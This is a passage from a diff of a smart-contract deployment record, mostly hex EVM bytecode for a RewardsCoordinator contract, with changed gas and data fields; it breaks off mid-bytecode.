7160e01b600052604160045260246000fd5b60008060008060008060c08789031215612a4d57600080fd5b8635612a58816129d3565b95506020870135612a68816129d3565b9450604087013593506060870135612a7f816129d3565b92506080870135915060a087013567ffffffffffffffff811115612aa257600080fd5b8701601f81018913612ab357600080fd5b803567ffffffffffffffff811115612acd57612acd612a1e565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715612afc57612afc612a1e565b6040528181528282016020018b1015612b1457600080fd5b816020840160208301376000602083830101528093505050509295509295509295565b801515811461063657600080fd5b60008060408385031215612b5857600080fd5b8235612b63816129d3565b91506020830135612b7381612b37565b809150509250929050565b600060208284031215612b9057600080fd5b813560ff81168114611d4557600080fd5b60008060408385031215612bb457600080fd5b8235612bbf816129d3565b91506020830135612b73816129d3565b600080600060608486031215612be457600080fd5b8335612bef816129d3565b92506020840135612bff816129d3565b929592945050506040919091013590565b6040808252835190820181905260009060208501906060840190835b81811015612c535783516001600160a01b0316835260209384019390920191600101612c2c565b50508381036020808601919091528551808352918101925085019060005b81811015612c8f578251845260209384019390920191600101612c71565b50919695505050505050565b60008083601f840112612cad57600080fd5b50813567ffffffffffffffff811115612cc557600080fd5b6020830191508360208260051b850101111561249d57600080fd5b60008060208385031215612cf357600080fd5b823567ffffffffffffffff811115612d0a57600080fd5b612d1685828601612c9b565b90969095509350505050565b60008060008060808587031215612d3857600080fd5b8435612d43816129d3565b93506020850135612d53816129d3565b92506040850135612d63816129d3565b9396929550929360600135925050565b60008060008060808587031215612d8957600080fd5b8435612d94816129d3565b93506020850135612da4816129d3565b9250604085013591506060850135612dbb816129d3565b939692955090935050565b60008060408385031215612dd957600080fd5b8235612de4816129d3565b946020939093013593505050565b60008060008060408587031215612e0857600080fd5b843567ffffffffffffffff811115612e1f57600080fd5b612e2b87828801612c9b565b909550935050602085013567ffffffffffffffff811115612e4b57600080fd5b612e5787828801612c9b565b95989497509550505050565b600060208284031215612e7557600080fd5b8151611d45816129d3565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215612edc57600080fd5b8151611d4581612b37565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526044908201527f53747261746567794d616e616765722e6f6e6c7953747261746567795768697460408201527f656c69737465723a206e6f742074686520737472617465677957686974656c6960608201526339ba32b960e11b608082015260a00190565b602080825260409082018190527f53747261746567794d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561301f57600080fd5b8135611d4581612b37565b60005b8381101561304557818101518382015260200161302d565b50506000910152565b6000815180845261306681602086016020860161302a565b601f01601f19169290920160200192915050565b828152604060208201526000612861604083018461304e565b6000602082840312156130a557600080fd5b81516001600160e01b031981168114611d4557600080fd5b6000602082840312156130cf57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156121e6576121e66130d6565b818103818111156121e6576121e66130d6565b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b6000825161315081846020870161302a565b9190910192915050565b602081526000611d45602083018461304e56fea2646970667358221220ac6d2edd6083c86d546592d6164295a40fc9f3efad84a275c7ca870c64044f2464736f6c634300081c0033", - "gas_used": 2568243, - "gas_limit": 3415449, + "data": "0x61018060405234801561001157600080fd5b50604051613dc9380380613dc9833981016040819052610030916102d0565b86868686868686610041858261035b565b63ffffffff16156100e55760405162461bcd60e51b815260206004820152606060248201527f52657761726473436f6f7264696e61746f723a2047454e455349535f5245574160448201527f5244535f54494d455354414d50206d7573742062652061206d756c7469706c6560648201527f206f662043414c43554c4154494f4e5f494e54455256414c5f5345434f4e4453608482015260a4015b60405180910390fd5b6100f2620151808661035b565b63ffffffff16156101915760405162461bcd60e51b815260206004820152605760248201527f52657761726473436f6f7264696e61746f723a2043414c43554c4154494f4e5f60448201527f494e54455256414c5f5345434f4e4453206d7573742062652061206d756c746960648201527f706c65206f6620534e415053484f545f434144454e4345000000000000000000608482015260a4016100dc565b6001600160a01b0396871661012052949095166101405263ffffffff92831660805290821660a052811660c05291821660e05216610100526101d16101e3565b50504661016052506103919350505050565b600054610100900460ff161561024b5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b60648201526084016100dc565b60005460ff908116101561029d576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b03811681146102b457600080fd5b50565b805163ffffffff811681146102cb57600080fd5b919050565b600080600080600080600060e0888a0312156102eb57600080fd5b87516102f68161029f565b60208901519097506103078161029f565b9550610315604089016102b7565b9450610323606089016102b7565b9350610331608089016102b7565b925061033f60a089016102b7565b915061034d60c089016102b7565b905092959891949750929550565b600063ffffffff83168061037f57634e487b7160e01b600052601260045260246000fd5b8063ffffffff84160691505092915050565b60805160a05160c05160e051610100516101205161014051610160516139a2610427600039600061181f0152600081816104400152612295015260006106ec01526000818161035701526120c40152600081816102cb0152612170015260008181610419015261207301526000818161065e0152611dea01526000818161060401528181611ea10152611f7c01526139a26000f3fe608060405234801561001057600080fd5b50600436106102895760003560e01c80636d21117e1161015c578063bf21a8aa116100ce578063f2fde38b11610087578063f2fde38b1461070e578063f698da2514610721578063f8cd844814610729578063fabc1cbc1461073c578063fbf1e2c11461074f578063fce36c7d1461076257600080fd5b8063bf21a8aa14610659578063c46db60614610680578063d4540a55146106ae578063e221b245146106c1578063e810ce21146106d4578063ea4d3c9b146106e757600080fd5b8063886f119511610120578063886f1195146105c05780638da5cb5b146105d35780639104c319146105e45780639d45c281146105ff578063a0169ddd14610626578063bb7e451f1461063957600080fd5b80636d21117e14610544578063715018a6146105725780637b8f8b051461057a578063863cb9a914610582578063865c69531461059557600080fd5b806337838ed01161020057806358baaa3e116101b957806358baaa3e146104b6578063595c6a67146104c95780635971b3f8146104d15780635ac86ab7146105065780635c975abb146105295780635e9d83481461053157600080fd5b806337838ed01461041457806339b70e381461043b5780633a8c0786146104625780633ccc861d146104795780633efe1db61461048c5780634d18cc351461049f57600080fd5b8063131433b411610252578063131433b414610352578063136439dd14610379578063149bc8721461038c57806322f19a64146103ad5780632b9f64a4146103c057806336af41fa1461040157600080fd5b806218572c1461028e57806304a0c502146102c6578063092db007146103025780630eb383451461032a57806310d67a2f1461033f575b600080fd5b6102b161029c3660046130f0565b60d16020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b60405163ffffffff90911681526020016102bd565b60cb5461031790600160e01b900461ffff1681565b60405161ffff90911681526020016102bd565b61033d61033836600461311b565b610775565b005b61033d61034d3660046130f0565b6107f7565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b61033d610387366004613154565b6108b3565b61039f61039a366004613185565b6109f2565b6040519081526020016102bd565b6103176103bb3660046131a1565b610a68565b6103e96103ce3660046130f0565b60cc602052600090815260409020546001600160a01b031681565b6040516001600160a01b0390911681526020016102bd565b61033d61040f3660046131cf565b610a7d565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b6103e97f000000000000000000000000000000000000000000000000000000000000000081565b60cb546102ed90600160a01b900463ffffffff1681565b61033d610487366004613259565b610caa565b61033d61049a3660046132b9565b611052565b60cb546102ed90600160c01b900463ffffffff1681565b61033d6104c43660046132e5565b611351565b61033d611362565b6104e46104df366004613154565b611429565b6040805193845263ffffffff92831660208501529116908201526060016102bd565b6102b1610514366004613300565b606654600160ff9092169190911b9081161490565b60665461039f565b6102b161053f366004613323565b611469565b6102b1610552366004613358565b60cf60209081526000928352604080842090915290825290205460ff1681565b61033d6114e7565b60ca5461039f565b61033d6105903660046130f0565b6114fb565b61039f6105a33660046131a1565b60cd60209081526000928352604080842090915290825290205481565b6065546103e9906001600160a01b031681565b6033546001600160a01b03166103e9565b6103e973beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b61033d6106343660046130f0565b61150c565b61039f6106473660046130f0565b60ce6020526000908152604090205481565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b6102b161068e366004613358565b60d060209081526000928352604080842090915290825290205460ff1681565b61033d6106bc3660046133a1565b61156b565b61033d6106cf366004613414565b6116b3565b6102ed6106e2366004613154565b6116c4565b6103e97f000000000000000000000000000000000000000000000000000000000000000081565b61033d61071c3660046130f0565b6117a5565b61039f61181b565b61039f610737366004613185565b611858565b61033d61074a366004613154565b611869565b60cb546103e9906001600160a01b031681565b61033d6107703660046131cf565b6119c5565b61077d611b37565b6001600160a01b038216600081815260d1602052604080822054905160ff9091169284151592841515927f4de6293e668df1398422e1def12118052c1539a03cbfedc145895d48d7685f1c9190a4506001600160a01b0391909116600090815260d160205260409020805460ff1916911515919091179055565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086e919061342f565b6001600160a01b0316336001600160a01b0316146108a75760405162461bcd60e51b815260040161089e9061344c565b60405180910390fd5b6108b081611b91565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156108fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190613496565b61093b5760405162461bcd60e51b815260040161089e906134b3565b606654818116146109b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600080610a0260208401846130f0565b8360200135604051602001610a4b9392919060f89390931b6001600160f81b031916835260609190911b6bffffffffffffffffffffffff19166001830152601582015260350190565b604051602081830303815290604052805190602001209050919050565b60cb54600160e01b900461ffff165b92915050565b606654600190600290811603610aa55760405162461bcd60e51b815260040161089e906134fb565b33600090815260d1602052604090205460ff16610b445760405162461bcd60e51b815260206004820152605160248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f60448201527f7420612076616c69642063726561746552657761726473466f72416c6c53756260648201527036b4b9b9b4b7b71039bab136b4ba3a32b960791b608482015260a40161089e565b600260975403610b665760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110610b8957610b89613569565b9050602002810190610b9b919061357f565b33600081815260ce60209081526040808320549051949550939192610bc692909185918791016136c4565b604051602081830303815290604052805190602001209050610be783611c88565b33600090815260d0602090815260408083208484529091529020805460ff19166001908117909155610c1a90839061370a565b33600081815260ce602052604090819020929092559051829184917f51088b8c89628df3a8174002c2a034d0152fce6af8415d651b2a4734bf27048290610c6290889061371d565b60405180910390a4610c94333060408601803590610c8390602089016130f0565b6001600160a01b0316929190612458565b505050600101610b6e565b505060016097555050565b606654600290600490811603610cd25760405162461bcd60e51b815260040161089e906134fb565b600260975403610cf45760405162461bcd60e51b815260040161089e90613532565b6002609755600060ca610d0a60208601866132e5565b63ffffffff1681548110610d2057610d20613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091529050610d7284826124c9565b6000610d8460808601606087016130f0565b6001600160a01b03808216600090815260cc60205260409020549192501680610daa5750805b336001600160a01b03821614610e285760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063616c6c6572206973206e6f742076616c696420636c61696d657200000000606482015260840161089e565b60005b610e3860a0880188613730565b90508110156110445736610e4f60e0890189613781565b83818110610e5f57610e5f613569565b6001600160a01b038716600090815260cd602090815260408083209302949094019450929091508290610e94908501856130f0565b6001600160a01b03166001600160a01b0316815260200190815260200160002054905080826020013511610f4e5760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063756d756c61746976654561726e696e6773206d75737420626520677420746064820152741a185b8818dd5b5d5b185d1a5d9950db185a5b5959605a1b608482015260a40161089e565b6000610f5e8260208501356137cb565b6001600160a01b038716600090815260cd60209081526040822092935085018035929190610f8c90876130f0565b6001600160a01b0316815260208082019290925260400160002091909155610fce908a908390610fbe908701876130f0565b6001600160a01b0316919061276a565b86516001600160a01b03808b1691878216918916907f9543dbd55580842586a951f0386e24d68a5df99ae29e3b216588b45fd684ce319061101260208901896130f0565b604080519283526001600160a01b039091166020830152810186905260600160405180910390a4505050600101610e2b565b505060016097555050505050565b60665460039060089081160361107a5760405162461bcd60e51b815260040161089e906134fb565b60cb546001600160a01b031633146110f15760405162461bcd60e51b815260206004820152603460248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f6044820152733a103a3432903932bbb0b93239aab83230ba32b960611b606482015260840161089e565b60cb5463ffffffff600160c01b90910481169083161161118d5760405162461bcd60e51b815260206004820152604b60248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a206e60448201527f657720726f6f74206d75737420626520666f72206e657765722063616c63756c60648201526a185d1959081c195c9a5bd960aa1b608482015260a40161089e565b428263ffffffff16106112265760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a207260448201527f65776172647343616c63756c6174696f6e456e6454696d657374616d702063616064820152746e6e6f7420626520696e207468652066757475726560581b608482015260a40161089e565b60ca5460cb5460009061124690600160a01b900463ffffffff16426137de565b6040805160608101825287815263ffffffff878116602080840182815286841685870181815260ca805460018101825560009190915296517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee160029098029788015591517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee29096018054925196861667ffffffffffffffff19909316929092176401000000009686169690960295909517905560cb805463ffffffff60c01b1916600160c01b840217905593519283529394508892908616917fecd866c3c158fa00bf34d803d5f6023000b57080bcb48af004c2b4b46b3afd08910160405180910390a45050505050565b611359611b37565b6108b08161279a565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156113aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ce9190613496565b6113ea5760405162461bcd60e51b815260040161089e906134b3565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60ca818154811061143957600080fd5b60009182526020909120600290910201805460019091015490915063ffffffff8082169164010000000090041683565b60006114df8260ca61147e60208301836132e5565b63ffffffff168154811061149457611494613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091526124c9565b506001919050565b6114ef611b37565b6114f9600061280b565b565b611503611b37565b6108b08161285d565b33600081815260cc602052604080822080546001600160a01b031981166001600160a01b038781169182179093559251911692839185917fbab947934d42e0ad206f25c9cab18b5bb6ae144acfb00f40b4e3aa59590ca31291a4505050565b600054610100900460ff161580801561158b5750600054600160ff909116105b806115a55750303b1580156115a5575060005460ff166001145b6116085760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161089e565b6000805460ff19166001179055801561162b576000805461ff0019166101001790555b6116336128b9565b60c9556116408686612950565b6116498761280b565b6116528461285d565b61165b8361279a565b61166482612a3a565b80156116aa576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050505050565b6116bb611b37565b6108b081612a3a565b60ca546000905b63ffffffff811615611736578260ca6116e56001846137fa565b63ffffffff16815481106116fb576116fb613569565b906000526020600020906002020160000154036117245761171d6001826137fa565b9392505050565b8061172e81613816565b9150506116cb565b5060405162461bcd60e51b815260206004820152603760248201527f52657761726473436f6f7264696e61746f722e676574526f6f74496e6465784660448201527f726f6d486173683a20726f6f74206e6f7420666f756e64000000000000000000606482015260840161089e565b6117ad611b37565b6001600160a01b0381166118125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161089e565b6108b08161280b565b60007f0000000000000000000000000000000000000000000000000000000000000000460361184b575060c95490565b6118536128b9565b905090565b60006001610a0260208401846130f0565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118e0919061342f565b6001600160a01b0316336001600160a01b0316146119105760405162461bcd60e51b815260040161089e9061344c565b60665419811960665419161461198e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016109e7565b6066546000906001908116036119ed5760405162461bcd60e51b815260040161089e906134fb565b600260975403611a0f5760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110611a3257611a32613569565b9050602002810190611a44919061357f565b33600081815260ce60209081526040808320549051949550939192611a6f92909185918791016136c4565b604051602081830303815290604052805190602001209050611a9083611c88565b33600090815260cf602090815260408083208484529091529020805460ff19166001908117909155611ac390839061370a565b33600081815260ce602052604090819020929092559051829184917f450a367a380c4e339e5ae7340c8464ef27af7781ad9945cfe8abd828f89e628190611b0b90889061371d565b60405180910390a4611b2c333060408601803590610c8390602089016130f0565b505050600101611a17565b6033546001600160a01b031633146114f95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161089e565b6001600160a01b038116611c1f5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161089e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6000611c948280613781565b905011611cf9576040805162461bcd60e51b815260206004820152602481019190915260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206e6f207374726174656769657320736574606482015260840161089e565b6000816040013511611d6b5760405162461bcd60e51b8152602060048201526041602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e742063616e6e6f74206265206064820152600360fc1b608482015260a40161089e565b6f4b3b4ca85a86c47a098a223fffffffff81604001351115611de35760405162461bcd60e51b815260206004820152603f602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e7420746f6f206c6172676500606482015260840161089e565b63ffffffff7f000000000000000000000000000000000000000000000000000000000000000016611e1a60a08301608084016132e5565b63ffffffff161115611e9f5760405162461bcd60e51b8152602060048201526054602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e20657863656564732060648201527326a0ac2fa922aba0a92229afa22aa920aa24a7a760611b608482015260a40161089e565b7f0000000000000000000000000000000000000000000000000000000000000000611ed060a08301608084016132e5565b611eda919061384c565b63ffffffff1615611f7a5760405162461bcd60e51b815260206004820152606a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e206d7573742062652060648201527f61206d756c7469706c65206f662043414c43554c4154494f4e5f494e54455256608482015269414c5f5345434f4e445360b01b60a482015260c40161089e565b7f0000000000000000000000000000000000000000000000000000000000000000611fab60808301606084016132e5565b611fb5919061384c565b63ffffffff161561205b5760405162461bcd60e51b8152602060048201526070602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d70206d7560648201527f73742062652061206d756c7469706c65206f662043414c43554c4154494f4e5f60848201526f494e54455256414c5f5345434f4e445360801b60a482015260c40161089e565b61206b60808201606083016132e5565b63ffffffff167f000000000000000000000000000000000000000000000000000000000000000063ffffffff16426120a391906137cb565b111580156120ec57506120bc60808201606083016132e5565b63ffffffff167f000000000000000000000000000000000000000000000000000000000000000063ffffffff1611155b6121665760405162461bcd60e51b8152602060048201526051602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152701bc819985c881a5b881d1a19481c185cdd607a1b608482015260a40161089e565b61219663ffffffff7f0000000000000000000000000000000000000000000000000000000000000000164261370a565b6121a660808301606084016132e5565b63ffffffff16111561222a5760405162461bcd60e51b8152602060048201526053602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152726f2066617220696e207468652066757475726560681b608482015260a40161089e565b6000805b6122388380613781565b905081101561245357600061224d8480613781565b8381811061225d5761225d613569565b61227392602060409092020190810191506130f0565b60405163198f077960e21b81526001600160a01b0380831660048301529192507f00000000000000000000000000000000000000000000000000000000000000009091169063663c1de490602401602060405180830381865afa1580156122de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123029190613496565b8061232957506001600160a01b03811673beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0145b61239c5760405162461bcd60e51b815260206004820152604a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20696e76616c69642073747261746567792060648201526918dbdb9cda59195c995960b21b608482015260a40161089e565b806001600160a01b0316836001600160a01b0316106124495760405162461bcd60e51b8152602060048201526069602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a2073747261746567696573206d757374206260648201527f6520696e20617363656e64696e67206f7264657220746f2068616e646c65206460848201526875706c69636174657360b81b60a482015260c40161089e565b915060010161222e565b505050565b6040516001600160a01b03808516602483015283166044820152606481018290526124c39085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612aa5565b50505050565b806040015163ffffffff164210156125425760405162461bcd60e51b815260206004820152603660248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a206044820152751c9bdbdd081b9bdd081858dd1a5d985d1959081e595d60521b606482015260840161089e565b61254f60c0830183613730565b905061255e60a0840184613730565b9050146125e85760405162461bcd60e51b815260206004820152604c60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e496e646963657320616e6420746f6b656e50726f6f6673206c656e60648201526b0cee8d040dad2e6dac2e8c6d60a31b608482015260a40161089e565b6125f560e0830183613781565b905061260460c0840184613730565b90501461268c5760405162461bcd60e51b815260206004820152604a60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e5472656550726f6f667320616e64206c6561766573206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a40161089e565b80516126b8906126a260408501602086016132e5565b6126af6040860186613874565b86606001612b77565b60005b6126c860a0840184613730565b90508110156124535761276260808401356126e660a0860186613730565b848181106126f6576126f6613569565b905060200201602081019061270b91906132e5565b61271860c0870187613730565b8581811061272857612728613569565b905060200281019061273a9190613874565b61274760e0890189613781565b8781811061275757612757613569565b905060400201612ceb565b6001016126bb565b6040516001600160a01b03831660248201526044810182905261245390849063a9059cbb60e01b9060640161248c565b60cb546040805163ffffffff600160a01b9093048316815291831660208301527faf557c6c02c208794817a705609cfa935f827312a1adfdd26494b6b95dd2b4b3910160405180910390a160cb805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60cb546040516001600160a01b038084169216907f237b82f438d75fc568ebab484b75b01d9287b9e98b490b7c23221623b6705dbb90600090a360cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6065546001600160a01b031615801561297157506001600160a01b03821615155b6129f35760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2612a3682611b91565b5050565b60cb546040805161ffff600160e01b9093048316815291831660208301527f8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06910160405180910390a160cb805461ffff909216600160e01b0261ffff60e01b19909216919091179055565b6000612afa826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612e3c9092919063ffffffff16565b8051909150156124535780806020019051810190612b189190613496565b6124535760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161089e565b612b826020836138bb565b6001901b8463ffffffff1610612c0c5760405162461bcd60e51b815260206004820152604360248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e65724c656166496e6064820152620c8caf60eb1b608482015260a40161089e565b6000612c17826109f2565b9050612c6284848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152604660248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e657220636c61696d60648201526510383937b7b360d11b608482015260a40161089e565b505050505050565b612cf66020836138bb565b6001901b8463ffffffff1610612d745760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e4c656166496e64657800000000606482015260840161089e565b6000612d7f82611858565b9050612dca84848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152603f60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e20636c61696d2070726f6f6600606482015260840161089e565b6060612e4b8484600085612e6b565b949350505050565b600083612e61868585612f9c565b1495945050505050565b606082471015612ecc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b606482015260840161089e565b6001600160a01b0385163b612f235760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161089e565b600080866001600160a01b03168587604051612f3f91906138f3565b60006040518083038185875af1925050503d8060008114612f7c576040519150601f19603f3d011682016040523d82523d6000602084013e612f81565b606091505b5091509150612f918282866130a2565b979650505050505050565b600060208451612fac9190613905565b156130335760405162461bcd60e51b815260206004820152604b60248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f664b65636360448201527f616b3a2070726f6f66206c656e6774682073686f756c642062652061206d756c60648201526a3a34b836329037b310199960a91b608482015260a40161089e565b8260205b855181116130995761304a600285613905565b60000361306e57816000528086015160205260406000209150600284049350613087565b8086015160005281602052604060002091506002840493505b61309260208261370a565b9050613037565b50949350505050565b606083156130b157508161171d565b8251156130c15782518084602001fd5b8160405162461bcd60e51b815260040161089e9190613919565b6001600160a01b03811681146108b057600080fd5b60006020828403121561310257600080fd5b813561171d816130db565b80151581146108b057600080fd5b6000806040838503121561312e57600080fd5b8235613139816130db565b915060208301356131498161310d565b809150509250929050565b60006020828403121561316657600080fd5b5035919050565b60006040828403121561317f57600080fd5b50919050565b60006040828403121561319757600080fd5b61171d838361316d565b600080604083850312156131b457600080fd5b82356131bf816130db565b91506020830135613149816130db565b600080602083850312156131e257600080fd5b823567ffffffffffffffff8111156131f957600080fd5b8301601f8101851361320a57600080fd5b803567ffffffffffffffff81111561322157600080fd5b8560208260051b840101111561323657600080fd5b6020919091019590945092505050565b6000610100828403121561317f57600080fd5b6000806040838503121561326c57600080fd5b823567ffffffffffffffff81111561328357600080fd5b61328f85828601613246565b9250506020830135613149816130db565b803563ffffffff811681146132b457600080fd5b919050565b600080604083850312156132cc57600080fd5b823591506132dc602084016132a0565b90509250929050565b6000602082840312156132f757600080fd5b61171d826132a0565b60006020828403121561331257600080fd5b813560ff8116811461171d57600080fd5b60006020828403121561333557600080fd5b813567ffffffffffffffff81111561334c57600080fd5b612e4b84828501613246565b6000806040838503121561336b57600080fd5b8235613376816130db565b946020939093013593505050565b80356132b4816130db565b803561ffff811681146132b457600080fd5b60008060008060008060c087890312156133ba57600080fd5b86356133c5816130db565b955060208701356133d5816130db565b94506040870135935060608701356133ec816130db565b92506133fa608088016132a0565b915061340860a0880161338f565b90509295509295509295565b60006020828403121561342657600080fd5b61171d8261338f565b60006020828403121561344157600080fd5b815161171d816130db565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b6000602082840312156134a857600080fd5b815161171d8161310d565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60008235609e1983360301811261359557600080fd